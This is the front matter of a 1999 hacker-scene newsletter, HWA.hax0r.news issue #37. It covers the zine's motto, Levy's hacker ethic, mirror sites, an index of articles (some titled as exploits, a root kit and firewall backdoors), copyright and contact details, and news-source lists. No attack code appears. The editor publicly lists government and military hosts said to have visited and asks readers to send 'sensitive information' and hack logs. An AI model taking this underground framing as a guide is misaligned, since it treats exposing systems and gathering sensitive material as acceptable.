    [ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ]
  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
  ==========================================================================
  =                       <=-[ HWA.hax0r.news ]-=>                         =
  ==========================================================================
    [=HWA'99=]                         Number 37 Volume 1 1999 Oct 10th  99
  ==========================================================================
    [                     61:20:6B:69:64:20:63:6F:75:                    ]
    [               6C:64:20:62:72:65:61:6B:20:74:68:69:73:              ]
    [              20:22:65:6E:63:72:79:70:74:69:6F:6E:22:!              ]        
  ==========================================================================

                         "ABUSUS NON TOLLIT USUM"
                         
  ==========================================================================                         
  
       Today the spotlight may be on you, some interesting machines that
                   have accessed these archives recently...
  
                             marshall.us-state.gov
                             digger1.defence.gov.au
                             firewall.mendoza.gov.ar
                             ipaccess.gov.ru
                             gatekeeper.itsec-debis.de
                             fgoscs.itsec-debis.de
                             fhu-ed4ccdf.fhu.disa.mil
                             citspr.tyndall.af.mil
                             kelsatx2.kelly.af.mil
                             kane.sheppard.af.mil                             
                             relay5.nima.mil
                             host.198-76-34-33.gsa.gov
                             ntsrvr.vsw.navy.mil
                             saic2.nosc.mil
                             wygate.wy.blm.gov
                             mrwilson.lanl.gov
                             p722ar.npt.nuwc.navy.mil

   
                     http://welcome.to/HWA.hax0r.news/                     
                     
  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=                                            
  
        Web site sponsored by CUBESOFT networks http://www.csoft.net
        check them out for great fast web hosting!
                    
  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=                       

     The Hacker's Ethic

     Sadly, due to the traditional ignorance and sensationalizing of the mass
     media, the once-noble term hacker has become a perjorative.
     
     Among true computer people, being called a hacker is a compliment. One of
     the traits of the true hacker is a profoundly antibureaucratic and
     democratic spirit. That spirit is best exemplified by the Hacker's Ethic.
     
     This ethic was best formulated by Steven Levy in his 1984 book Hackers:
     Heroes of the Computer Revolution. Its tenets are as follows:

      1 - Access to computers should be unlimited and total. 
      2 - All information should be free. 
      3 - Mistrust authority - promote decentralization. 
      4 - Hackers should be judged by their hacking not bogus criteria such as
          degrees, age, race, or position. 
      5 - You create art and beauty on a computer, 
      6 - Computers can change your life for the better. 

     The Internet as a whole reflects this ethic.


  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=                       
  
               A Comment on FORMATTING: 
   
   
               I received an email recently about the formatting of this
               newsletter, suggesting that it be formatted to 75 columns
               in the past I've endevoured to format all text to 80 cols
               except for articles and site statements and urls which are
               posted verbatim, I've decided to continue with this method
               unless more people complain, the zine is best viewed in
               1024x768 mode with UEDIT.... - Ed
    
                       
  
  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=                       
                       


     New mirror sites
                
                http://net-security.org/hwahaxornews
                http://www.sysbreakers.com/hwa
                http://www.attrition.org/hosted/hwa/
                http://www.ducktank.net/hwa/issues.html.
                http://viper.dmrt.com/files/=E-Zines/HWA.hax0r.news/
                http://hwazine.cjb.net/
                http://www.hackunlimited.com/files/secu/papers/hwa/
                http://www.attrition.org/~modify/texts/zines/HWA/
                
              * http://hwa.hax0r.news.8m.com/           
              * http://www.fortunecity.com/skyscraper/feature/103/  
               
              * Crappy free sites but they offer 20M & I need the space...
                        
                        
     
     HWA.hax0r.news is sponsored by Cubesoft communications www.csoft.net
     thanks to airportman for the Cubesoft bandwidth. Also shouts out to all 
     our mirror sites! and p0lix for the (now expired) digitalgeeks archive
     tnx guys. 
     
     http://www.csoft.net/~hwa
     
     
     HWA.hax0r.news Mirror Sites:
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~
     http://www.attrition.org/hosted/hwa/
     http://www.attrition.org/~modify/texts/zines/HWA/
     http://www.ducktank.net/hwa/issues.html. ** NEW **
     http://www.alldas.de/hwaidx1.htm ** NEW ** CHECK THIS ONE OUT **
     http://www.csoft.net/~hwa/ 
     http://www.digitalgeeks.com/hwa. *DOWN*
     http://members.tripod.com/~hwa_2k
     http://welcome.to/HWA.hax0r.news/
     http://www.attrition.org/~modify/texts/zines/HWA/
     http://archives.projectgamma.com/zines/hwa/.  
     http://www.403-security.org/Htmls/hwa.hax0r.news.htm

   =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=         
   
   
  
   SYNOPSIS (READ THIS)
   --------------------
   
   The purpose of this newsletter is to 'digest' current events of interest
   that affect the online underground and netizens in general. This includes
   coverage of general security issues, hacks, exploits, underground news
   and anything else I think is worthy of a look see. (remember i'm doing
   this for me, not you, the fact some people happen to get a kick/use
   out of it is of secondary importance).

    This list is NOT meant as a replacement for, nor to compete with, the
   likes of publications such as CuD or PHRACK or with news sites such as
   AntiOnline, the Hacker News Network (HNN) or mailing lists such as
   BUGTRAQ or ISN nor could any other 'digest' of this type do so.

    It *is* intended  however, to  compliment such material and provide a
   reference to those who follow the culture by keeping tabs on as many
   sources as possible and providing links to further info, its a labour
   of love and will be continued for as long as I feel like it, i'm not
   motivated by dollars or the illusion of fame, did you ever notice how
   the most famous/infamous hackers are the ones that get caught? there's
   a lot to be said for remaining just outside the circle... <g>
   
   

   @HWA

   =-----------------------------------------------------------------------=

                     Welcome to HWA.hax0r.news ... #37

   =-----------------------------------------------------------------------=


    
    We could use some more people joining the channel, its usually pretty
    quiet, we don't bite (usually) so if you're hanging out on irc stop
    by and idle a while and say hi...   

    *******************************************************************
    ***      /join #HWA.hax0r.news on EFnet the key is `zwen'       ***
    ***                                                             ***
    *** please join to discuss or impart news on techno/phac scene  ***
    *** stuff or just to hang out ... someone is usually around 24/7***
    ***                                                             ***
    *** Note that the channel isn't there to entertain you its for  ***
    *** you to talk to us and impart news, if you're looking for fun***
    *** then do NOT join our channel try #weirdwigs or something... ***
    *** we're not #chatzone or #hack                                ***
    ***                                                             ***
    *******************************************************************


  =-------------------------------------------------------------------------=
  
  Issue #37
  =--------------------------------------------------------------------------=
  [ INDEX ]
  =--------------------------------------------------------------------------=
    Key     Intros                                                         
  =--------------------------------------------------------------------------=
 
    00.0  .. COPYRIGHTS ......................................................
    00.1  .. CONTACT INFORMATION & SNAIL MAIL DROP ETC .......................
    00.2  .. SOURCES .........................................................
    00.3  .. THIS IS WHO WE ARE ..............................................
    00.4  .. WHAT'S IN A NAME? why `HWA.hax0r.news'?..........................
    00.5  .. THE HWA_FAQ V1.0 ................................................
            
   `ABUSUS NON TOLLIT USUM'? This is (in case you hadn't guessed) Latin, and 
   loosely translated it means "Just because something is abused, it should 
   not be taken away from those  who use it properly). This is our new motto.         

  =--------------------------------------------------------------------------=
    Key     Content 
  =--------------------------------------------------------------------------=

    01.0  .. GREETS ..........................................................
     01.1 .. Last minute stuff, rumours, newsbytes ...........................
     01.2 .. Mailbag .........................................................
    02.0  .. From the Editor.................................................. 
    03.0  .. Why Your Network is Still Vulnerable.............................
    04.0  .. 'PhoneMasters' Finally Sentenced ................................
    05.0  .. India Objects to Comments From Vatis ............................
    06.0  .. Bill Cheek Diagnosed with Cancer Still Faces Charges.............
    07.0  .. The IBM 2020 Neural Implant Chip ................................
    08.0  .. Banks to Share Info Secretly ....................................
    09.0  .. Melissa's Twin Appears in Outlook ...............................
    10.0  .. L0pht Heavy Industries Exposed ..................................
    11.0  .. ASX Claims Attacked by US Military ..............................
    12.0  .. Microsft Clears Self of HotMail Breach ..........................
    13.0  .. TISC I/O Lab to Showcase Security Tech ..........................
    14.0  .. Web Anonymizing Tests Released ..................................
    15.0  .. CyberCrime Prosecutor Moves to Private Practice .................
    16.0  .. Home Banking Weaknesses Begin at Home ...........................
    17.0  .. Subversion of Information........................................
    18.0  .. SAGE Offers Impenetrable Server and Kills Word "Hacktivist' .....
    19.0  .. 19yr old Sentenced For AOL Break In..............................
    20.0  .. ZD Net Admits To Favoritism in Security Challenge ...............
    21.0  .. CyberWarriors Could Have Cut Kosovo Campaign Time In Half .......
    22.0  .. JTF-CND Moves to Space Command ..................................
    23.0  .. Anti-CyberCrime Unit Opens in Netherlands .......................
    24.0  .. CERT to Share Info With iDefense ................................
    25.0  .. Online Safety and Ethics Program Funded by DoJ ..................
    26.0  .. Shell-Lock Use Found to Be Risky ................................
    27.0  .. Hole Found in Auto_FTP ..........................................
    28.0  .. Singaporean eduMall Defaced .....................................
    29.0  .. No Evidence to Support Cell Phone Ban ...........................
    30.0  .. Global Jam Echelon Day ..........................................
    31.0  .. Vatis Creates Second International Incident .....................
    32.0  .. Who Were the Phone Masters Really? ..............................
    33.0  .. Twstdpair's [HWA] nmap scanner frontend..........................
    34.0  .. Another GAO Report Says US Vulnerable ...........................
    35.0  .. FidNet Gets Funding .............................................
    36.0  .. Softseek.com Distributes Trojan Horse ...........................
    37.0  .. Global Jam Echelon Day Update ...................................
    38.0  .. NSA Document Retrieval Capabilities .............................
    39.0  .. To Few Comp Crime Experts in FBI Says Vatis .....................
    40.0  .. The Truth About AntiOnline? .....................................
    41.0  .. Software Liability ..............................................
    42.0  .. PHONELOSERS PARODY...............................................
    43.0  .. TAKING HACKER TO COURT NOT SO EASY...............................
    44.0  .. RUSSIA RESPONDS TO HASTY SPYING CONCLUSIONS......................
    45.0  .. KeyRoot presents nitestick.java..................................
    46.0  .. VIRGINIA'S INTERNET LAW CHALLENGED...............................
    47.0  .. SECURITY WEAKNESSES PREVALENT AT TREASURY'S FMS..................
    48.0  .. FEDERAL SECURITY PLAN WILL SEEK CORPORATE BUY-IN.................
    49.0  .. CISCO FIREWALL PROMISES PRIVACY..................................
    50.0  .. SEATTLE TIMES ON E-BAY SCAMMER...................................
    51.0  .. FUD FROM THE EMPIRE, THE GLOVES COME OFF.........................
    52.0  .. READ WIRE NEWS BEFORE IT'S ON IT.................................
    53.0  .. Y2K LESSONS APPLY TO INFORMATION SECURITY........................
    54.0  .. AOL SPAM SCAN CONTINUES TO MAKE VICTIMS..........................
    55.0  .. MS: IT'S NOT OUR FAULT, THE HACKERS DID IT.......................
    56.0  .. INDUSTRY BACKING AUSSIE CENSORSHIP LAW?..........................
    57.0  .. CYBERCROOKS BREACHING THE BORDERS OF CYBERSPACE..................
    58.0  .. NUKING THE HACKERS?..............................................  
    59.0  .. BATTLING THE VIRUSES OF THE FUTURE...............................
    60.0  .. Advisory:Hybrid Network's Cable Modems...........................
    61.0  .. Faulty software:Omni-NFS/X Enterprise version 6.1................
    62.0  .. A vulnerability exists in the rpmmail package distributed on the Red Hat 6.
    63.0  .. A vulnerability exists in the /usr/lib/merge/dos7utils program...
    64.0  .. Sambar HTTP-Server DoS attack....................................
    65.0  .. There is a buffer overflow vulnerability in cdda2cdr.............
    66.0  .. inews exploit , gives you the inews egid ........................
    67.0  .. Shows any file from any NT Server, if it has the SHOWCODE.ASP script.
    68.0  .. The Hack kit (root kit)..........................................
    69.0  .. Placing Backdoors Through Firewalls [THC]........................
      
    =-------------------------------------------------------------------------------=
    
        
    AD.S  .. Post your site ads or etc here, if you can offer something in return
             thats tres cool, if not we'll consider ur ad anyways so send it in.
             ads for other zines are ok too btw just mention us in yours, please
             remember to include links and an email contact. Corporate ads will
             be considered also and if your company wishes to donate to or 
             participate in the upcoming Canc0n99 event send in your suggestions
             and ads now...n.b date and time may be pushed back join mailing list
             for up to date information.......................................
             Current dates: POSTPONED til further notice, place: TBA..    .................
    Ha.Ha .. Humour and puzzles  ............................................
              
              Hey You!........................................................
              =------=........................................................
              
              Send in humour for this section! I need a laugh and its hard to
              find good stuff... ;)...........................................

    SITE.1 .. Featured site, .................................................
     H.W   .. Hacked Websites  ...............................................
     A.0   .. APPENDICES......................................................
     A.1   .. PHACVW linx and references......................................
 
  =--------------------------------------------------------------------------=
     
     @HWA'99

     
 00.0 (C) COPYRIGHT, (K)OPYWRONG, COPYLEFT? V2.0
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

          THE OPINIONS OF THE WRITERS DO NOT NECESSARILY REFLECT THE
          OPINIONS OF THE PUBLISHERS AND VICE VERSA IN FACT WE DUNNO
          WTF IS GONNA TAKE RESPONSIBILITY FOR THIS, I'M NOT DOING IT
          (LOTS OF ME EITHER'S RESOUND IN THE BACKGROUND) SO UHM JUST
          READ IT AND IF IT BUGS YOU WELL TFS (SEE FAQ).
     
          Important semi-legalese and license to redistribute:
     
          YOU MAY DISTRIBUTE THIS ZINE WITHOUT PERMISSION FROM MYSELF
          AND ARE GRANTED THE RIGHT TO QUOTE ME OR THE CONTENTS OF THE
          ZINE SO LONG AS Cruciphux AND/OR HWA.hax0r.news ARE MENTIONED
          IN YOUR WRITING. LINK'S ARE NOT NECESSARY OR EXPECTED BUT ARE
          APPRECIATED the current link is http://welcome.to/HWA.hax0r.news
          IT IS NOT MY INTENTION TO VIOLATE ANYONE'S COPYRIGHTS OR BREAK
          ANY NETIQUETTE IN ANY WAY IF YOU FEEL I'VE DONE THAT PLEASE EMAIL
          ME PRIVATELY current email cruciphux@dok.org
     
          THIS DOES NOT CONSTITUTE ANY LEGAL RIGHTS, IN THIS COUNTRY ALL
          WORKS ARE (C) AS SOON AS COMMITTED TO PAPER OR DISK, IF ORIGINAL
          THE LAYOUT AND COMMENTARIES ARE THEREFORE (C) WHICH MEANS:
     
          I RETAIN ALL RIGHTS, BUT I GIVE YOU THE RIGHT TO READ, QUOTE
          AND REDISTRIBUTE/MIRROR. - EoD
     
     
          Although this file and all future issues are now copyright, some of
         the content holds its  own copyright and these are printed and
         respected. News is news so i'll print any and all news but will quote
         sources when the source is known, if its good enough for CNN its good
         enough for me. And i'm doing it for free on my own time so pfffft. :)
     
         No monies are made or sought through the distribution of this material.
         If you have a problem or concern email me and we'll discuss it.
     
         cruciphux@dok.org
     
         Cruciphux [C*:.]



 00.1 CONTACT INFORMATION AND MAIL DROP
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

     Wahoo, we now have a mail-drop, if you are outside of the U.S.A or
    Canada / North America (hell even if you are inside ..) and wish to
    send printed matter like newspaper clippings a subscription to your
    cool foreign hacking zine or photos, small non-explosive packages
    or sensitive information etc etc well, now you can. (w00t) please
    no more inflatable sheep or plastic dog droppings, or fake vomit
    thanks.

    Send all goodies to:
    

	    HWA NEWS
	    P.O BOX 44118
	    370 MAIN ST. NORTH
	    BRAMPTON, ONTARIO
	    CANADA
	    L6V 4H5

    WANTED!: POSTCARDS! YESH! POSTCARDS, I COLLECT EM so I know a lot of you are
    ~~~~~~~  reading this from some interesting places, make my day and get a
             mention in the zine, send in a postcard, I realize that some places
             it is cost prohibitive but if you have the time and money be a cool
             dude / gal and send a poor guy a postcard preferably one that has some
             scenery from your place of residence for my collection, I collect stamps
             too so you kill two birds with one stone by being cool and mailing in a
             postcard, return address not necessary, just a  "hey guys being cool in
             Bahrain, take it easy" will do ... ;-) thanx.



    Ideas for interesting 'stuff' to send in apart from news:

    - Photo copies of old system manual front pages (optionally signed by you) ;-)
    - Photos of yourself, your mom, sister, dog and or cat in a NON
      compromising position plz I don't want pr0n. <g>
    - Picture postcards
    - CD's 3.5" disks, Zip disks, 5.25" or 8" floppies, Qic40/80/100-250
      tapes with hack/security related archives, logs, irc logs etc on em.
    - audio or video cassettes of yourself/others etc of interesting phone
      fun or social engineering examples or transcripts thereof.
    
    
    Stuff you can email:
    
    - Prank phone calls in .ram or .mp* format
    - Fone tones and security announcements from PBX's etc
    - fun shit you sampled off yer scanner (relevant stuff only like #2600 meeting activities)
    - reserved for one smiley face ->        :-)            <-
    - PHACV lists of files that you have or phac cd's you own (we have a burner, *g*)
    - burns of phac cds (email first to make sure we don't already have em)
    - Any and all telephone sounds/tones/beeps/trunk drops/line tests/etc in .ram etc format or .mp*
    

    If you still can't think of anything you're probably not that interesting
    a person after all so don't worry about it <BeG>

    Our current email:

    Submissions/zine gossip.....: hwa@press.usmc.net
    Private email to editor.....: cruciphux@dok.org                                                                   
    Distribution/Website........: sas72@usa.net       

    Websites;
    
    sAs72.......................: http://members.tripod.com/~sAs72/
    Cruciphux...................: http://www.geocities.com/Area51/Lair/8913/

    @HWA



 00.2 Sources ***
      ~~~~~~~~~~~

     Sources can be some, all, or none of the following (by no means complete
    nor listed in any degree of importance) Unless otherwise noted, like msgs
    from lists or news from other sites, articles and information is compiled
    and or sourced by Cruciphux no copyright claimed.

    News & I/O zine ................. http://www.antionline.com/
    Back Orifice/cDc..................http://www.cultdeadcow.com/
    News site (HNN) .....,............http://www.hackernews.com/
    Help Net Security.................http://net-security.org/
    News,Advisories,++ .(lophtcrack)..http://www.l0pht.com/
    NewsTrolls .(daily news ).........http://www.newstrolls.com/
    News + Exploit archive ...........http://www.rootshell.com/beta/news.html
    CuD Computer Underground Digest...http://www.soci.niu.edu/~cudigest
    News site+........................http://www.zdnet.com/
    News site+Security................http://www.gammaforce.org/
    News site+Security................http://www.projectgamma.com/
    News site+Security................http://securityhole.8m.com/
    News site+Security related site...http://www.403-security.org/  *DOWN*
    News/Humour site+ ................http://www.innerpulse.com
    News/Techie news site.............http://www.slashdot.org
    
    

    +Various mailing lists and some newsgroups, such as ...
    +other sites available on the HNN affiliates page, please see
     http://www.hackernews.com/affiliates.html as they seem to be popping up
     rather frequently ...

    
    http://www.the-project.org/ .. IRC list/admin archives
    http://www.anchordesk.com/  .. Jesse Berst's AnchorDesk

    alt.hackers.malicious
    alt.hackers
    alt.2600
    BUGTRAQ
    ISN security mailing list
    ntbugtraq
    <+others>

    NEWS Agencies, News search engines etc:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    http://www.cnn.com/SEARCH/
       
    http://www.foxnews.com/search/cgi-bin/search.cgi?query=hack&days=0&wires=0&startwire=0
        
    http://www.news.com/Searching/Results/1,18,1,00.html?querystr=hack
        
    http://www.ottawacitizen.com/business/
        
    http://search.yahoo.com.sg/search/news_sg?p=hack
        
    http://www.washingtonpost.com/cgi-bin/search?DB_NAME=WPlate&TOTAL_HITLIST=20&DEFAULT_OPERATOR=AND&headline=&WITHIN_FIELD_NAME=.lt.event_date&WITHIN_DAYS=0&description=hack
        
    http://www.zdnet.com/zdtv/cybercrime/
        
    http://www.zdnet.com/zdtv/cybercrime/chaostheory/ (Kevin Poulsen's Column)
        
    NOTE: See appendices for details on other links.
    


    http://news.bbc.co.uk/hi/english/sci/tech/newsid_254000/254236.stm
        
    http://freespeech.org/eua/ Electronic Underground Affiliation
        
    http://ech0.cjb.net ech0 Security
    
    http://axon.jccc.net/hir/ Hackers Information Report
        
    http://net-security.org Net Security
        
    http://www.403-security.org Daily news and security related site
        

    Submissions/Hints/Tips/Etc
    ~~~~~~~~~~~~~~~~~~~~~~~~~~

    All submissions that are `published' are printed with the credits
    you provide, if no response is received by a week or two it is assumed
    that you don't care wether the article/email is to be used in an issue
    or not and may be used at my discretion.

    Looking for:

    Good news sites that are not already listed here OR on the HNN affiliates
    page at http://www.hackernews.com/affiliates.html

    Magazines (complete or just the articles) of breaking sekurity or hacker
    activity in your region, this includes telephone phraud and any other
    technological use, abuse hole or cool thingy. ;-) cut em out and send it
    to the drop box.


    - Ed

    Mailing List Subscription Info   (Far from complete)         Feb 1999
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   ~~~~~~~~~~~~~~~~~~~         ~~~~~~~~

    ISS Security mailing list faq : http://www.iss.net/iss/maillist.html


    THE MOST READ:

    BUGTRAQ - Subscription info
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~

    What is Bugtraq?

    Bugtraq is a full-disclosure UNIX security mailing list, (see the info
    file) started by Scott Chasin <chasin@crimelab.com>. To subscribe to
    bugtraq, send mail to listserv@netspace.org containing the message body
    subscribe bugtraq. I've been archiving this list on the web since late
    1993. It is searchable with glimpse and archived on-the-fly with hypermail.

    Searchable Hypermail Index;

          http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html

          <a href="http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html">Link</a>

    About the Bugtraq mailing list
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    The following comes from Bugtraq's info file:

    This list is for *detailed* discussion of UNIX security holes: what they are,
    how to exploit, and what to do to fix them.

    This list is not intended to be about cracking systems or exploiting their
    vulnerabilities. It is about defining, recognizing, and preventing use of
    security holes and risks.

    Please refrain from posting one-line messages or messages that do not contain
    any substance that can relate to this list`s charter.

    I will allow certain informational posts regarding updates to security tools,
    documents, etc. But I will not tolerate any unnecessary or nonessential "noise"
    on this list.

    Please follow the below guidelines on what kind of information should be posted
    to the Bugtraq list:

    + Information on Unix related security holes/backdoors (past and present)
    + Exploit programs, scripts or detailed processes about the above
    + Patches, workarounds, fixes
    + Announcements, advisories or warnings
    + Ideas, future plans or current works dealing with Unix security
    + Information material regarding vendor contacts and procedures
    + Individual experiences in dealing with above vendors or security organizations
    + Incident advisories or informational reporting

    Any non-essential replies should not be directed to the list but to the originator of the message. Please do not
    "CC" the bugtraq reflector address if the response does not meet the above criteria.

    Remember: YOYOW.

    You own your own words. This means that you are responsible for the words that you post on this list and that
    reproduction of those words without your permission in any medium outside the distribution of this list may be
     challenged by you, the author.

    For questions or comments, please mail me:
    chasin@crimelab.com (Scott Chasin)
    
    
    UPDATED Sept/99 - Sent in by Androthi, tnx for the update
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    

      I am pleased to inform you of several changes that will be occurring
      on June 5th. I hope you find them as exciting as I do.
      
      
      BUGTRAQ moves to a new home
      ---------------------------
      
      
      First, BUGTRAQ will be moving from its current home at NETSPACE.ORG
      to SECURITYFOCUS.COM. What is Security Focus you ask? Wait and read
      below. Other than the change of domains nothing of how the list
      is run changes. I am still the moderator. We play by the same rules.
      
      
      Security Focus will be providing mail archives for BUGTRAQ. The
      archives go back longer than Netspace's and are more complete than
      Geek-Girl's.
      
      
      The move will occur one week from today. You will not need to
      resubscribe. All your information, including subscription options
      will be moved transparently.
      
      
      Any of you using mail filters (e.g. procmail) to sort incoming
      mail into mail folders by examining the From address will have to
      update them to include the new address. The new address will be:
      
      
                            BUGTRAQ@SECURITYFOCUS.COM
      
      
      Security Focus also be providing a free searchable vulnerability
      database.
      
      
      BUGTRAQ es muy bueno
      --------------------
      
      
      It has also become apparent that there is a need for forums
      in the spirit of BUGTRAQ where non-English speaking people
      or people that don't feel comfortable speaking English can
      exchange information.
      
      
      As such I've decided to give BUGTRAQ in other languages a try.
      BUGTRAQ will continue to be the place to submit vulnerability
      information, but if you feel more comfortable using some other
      language you can give the other lists a try. All relevant information
      from the other lists which have not already been covered here
      will be translated and forwarded on by the list moderator.
      
      
      In the next couple of weeks we will be introducing BUGTRAQ-JP
      (Japanese) which will be moderated by Nobuo Miwa <n-miwa@lac.co.jp>
      and BUGTRAQ-SP (Spanish) which will be moderated by CORE SDI S.A.
      from Argentina <http://www.core-sdi.com/> (the folks that brought you
      Secure Syslog and the SSH insertion attack).
      
      
      What is Security Focus?
      -----------------------
      
      
      Security Focus is an exercise in creating a community and a security
      resource. We hope to be able to provide a medium where useful and
      successful resources such as BUGTRAQ can occur, while at the same
      time providing a comprehensive source of security information. Aside
      from moving just BUGTRAQ over, the Geek-Girl archives (and the Geek Girl
      herself!) have moved over to Security Focus to help us with building
      this new community. The other staff at Security Focus are largely derived
      from long time supporters of Bugtraq and the community in general. If
      you are interested in viewing the staff pages, please see the 'About'
      section on www.securityfocus.com.
      
      
      On the community creating front you will find a set of forums
      and mailing lists we hope you will find useful. A number of them
      are not scheduled to start for several weeks but starting today
      the following list is available:
      
      
      * Incidents' Mailing List. BUGTRAQ has always been about the
         discussion of new vulnerabilities. As such I normally don't approve
         messages about break-ins, trojans, viruses, etc with the exception
         of wide spread cases (Melissa, ADM worm, etc). The other choice
         people are usually left with is email CERT but this fails to
         communicate this important information to other that may be
         potentially affected.
      
      
         The Incidents mailing list is a lightly moderated mailing list to
         facilitate the quick exchange of security incident information.
         Topical items include such things as information about rootkits
         new trojan horses and viruses, source of attacks and tell-tale
         signs of intrusions.
      
      
         To subscribe email LISTSERV@SECURITYFOCUS.COM with a message body
         of:
      
      
                   SUBS INCIDENTS FirstName, LastName
      
      
      Shortly we'll also be introducing an Information Warfare forum along
      with ten other forums over the next two months. These forums will be
      built and moderated by people in the community as well as vendors who
      are willing to take part in the community building process.
      *Note to the vendors here* We have several security vendors who have
      agreed to run forums where they can participate in the online communities.
      If you would like to take part as well, mail Alfred Huger,
      ahuger@securityfocus.com.
      
      
      On the information resource front you find a large database of
      the following:
      
      
      * Vulnerabilities. We are making accessible a free vulnerability
         database. You can search it by vendor, product and keyword. You
         will find detailed information on the vulnerability and how to fix it,
         as well are links to reference information such as email messages,
         advisories and web pages. You can search by vendor, product and
         keywords. The database itself is the result of culling through 5
         years of BUGTRAQ plus countless other lists and news groups. It's
         a shining example of how thorough full disclosure has made a significant
         impact on the industry over the last half decade.
      
      
      * Products. An incredible number of categorized security products
         from over two hundred different vendors.
      
      
      * Services. A large and focused directory of security services offered by
         vendors.
      
      
      * Books, Papers and Articles. A vast number of categorized security
         related books, papers and articles. Available to download directly
         for our servers when possible.
      
      
      * Tools. A large array of free security tools. Categorized and
         available for download.
      
      
      * News: A vast number of security news articles going all the way
         back to 1995.
      
      
      * Security Resources: A directory to other security resources on
         the net.
      
      
      As well as many other things such as an event calendar.
      
      
      For your convenience the home-page can be personalized to display
      only information you may be interested in. You can filter by
      categories, keywords and operating systems, as well as configure
      how much data to display.
      
      
      I'd like to thank the fine folks at NETSPACE for hosting the
      site for as long as they have. Their services have been invaluable.
      
      
      I hope you find these changes for the best and the new services
      useful. I invite you to visit http://www.securityfocus.com/ and
      check it out for yourself. If you have any comments or suggestions
      please feel free to contact me at this address or at
      aleph1@securityfocus.com.
      
      
      Cheers.
      
      
      --
      Aleph One / aleph1@underground.org
      http://underground.org/
      KeyID 1024/948FD6B5
      Fingerprint EE C9 E8 AA CB AF 09 61  8C 39 EA 47 A8 6A B8 01
      



    
    Crypto-Gram
    ~~~~~~~~~~~

       CRYPTO-GRAM is a free monthly newsletter providing summaries, analyses,
      insights, and commentaries on cryptography and computer security.

      To subscribe, visit http://www.counterpane.com/crypto-gram.html or send a
      blank message to crypto-gram-subscribe@chaparraltree.com.  To unsubscribe,
      visit http://www.counterpane.com/unsubform.html.  Back issues are available
      on http://www.counterpane.com.

       CRYPTO-GRAM is written by Bruce Schneier.  Schneier is president of
      Counterpane Systems, the author of "Applied Cryptography," and an inventor
      of the Blowfish, Twofish, and Yarrow algorithms.  He served on the board of
      the International Association for Cryptologic Research, EPIC, and VTW.  He
      is a frequent writer and lecturer on cryptography.


    CUD Computer Underground Digest
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    This info directly from their latest ish:

    Computer underground Digest    Sun  14 Feb, 1999   Volume 11 : Issue 09
     
                      ISSN  1004-042X

       Editor: Jim Thomas (cudigest@sun.soci.niu.edu)
       News Editor: Gordon Meyer (gmeyer@sun.soci.niu.edu)
       Archivist: Brendan Kehoe
       Poof Reader:   Etaion Shrdlu, Jr.
       Shadow-Archivists: Dan Carosone / Paul Southworth
                          Ralph Sims / Jyrki Kuoppala
                          Ian Dickinson
       Cu Digest Homepage: http://www.soci.niu.edu/~cudigest



    [ISN] Security list
    ~~~~~~~~~~~~~~~~~~~
    This is a low volume list with lots of informative articles, if I had my
    way i'd reproduce them ALL here, well almost all .... ;-) - Ed

    
    UPDATED Sept/99 - Sent in by Androthi, tnx for the update
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
      
      --[ New ISN announcement (New!!)
      
      
      Sender:       ISN Mailing List <ISN@SECURITYFOCUS.COM>
      From:         mea culpa <jericho@DIMENSIONAL.COM>
      Subject:      Where has ISN been?
      Comments: To: InfoSec News <isn@securityfocus.com>
      To:           ISN@SECURITYFOCUS.COM
      
      
      It all starts long ago, on a network far away..
      
      
      Not really. Several months ago the system that hosted the ISN mail list
      was taken offline. Before that occured, I was not able to retrieve the
      subscriber list. Because of that, the list has been down for a while. I
      opted to wait to get the list back rather than attempt to make everyone
      resubscribe.
      
      
      As you can see from the headers, ISN is now generously being hosted by
      Security Focus [www.securityfocus.com]. THey are providing the bandwidth,
      machine, and listserv that runs the list now.
      
      
      Hopefully, this message will find all ISN subscribers, help us weed out
      dead addresses, and assure you the list is still here. If you have found
      the list to be valuable in the past, please tell friends and associates
      about the list. To subscribe, mail listserv@securityfocus.com with
      "subscribe isn firstname lastname". To unsubscribe, "unsubscribe isn".
      
      
      As usual, comments and suggestions are welcome. I apologize for the down
      time of the list. Hopefully it won't happen again. ;)
      
      
      
      mea_culpa
      www.attrition.org
      
      
      
      --[ Old ISN welcome message
      
      
      [Last updated on: Mon Nov  04  0:11:23 1998]
      
      
      InfoSec News is a privately run, medium traffic list that caters 
      to distribution of information security news articles. These 
      articles will come from newspapers, magazines, online resources, 
      and more.
      
      
      The subject line will always contain the title of the article, so that
      you may quickly and effeciently filter past the articles of no interest.
      
      
      This list will contain:
      
      
      o       Articles catering to security, hacking, firewalls, new security
              encryption, products, public hacks, hoaxes, legislation affecting
              these topics and more.
      
      
      o       Information on where to obtain articles in current magazines.
      
      
      o       Security Book reviews and information.
      
      
      o       Security conference/seminar information.
      
      
      o       New security product information.
      
      
      o       And anything else that comes to mind..
      
      
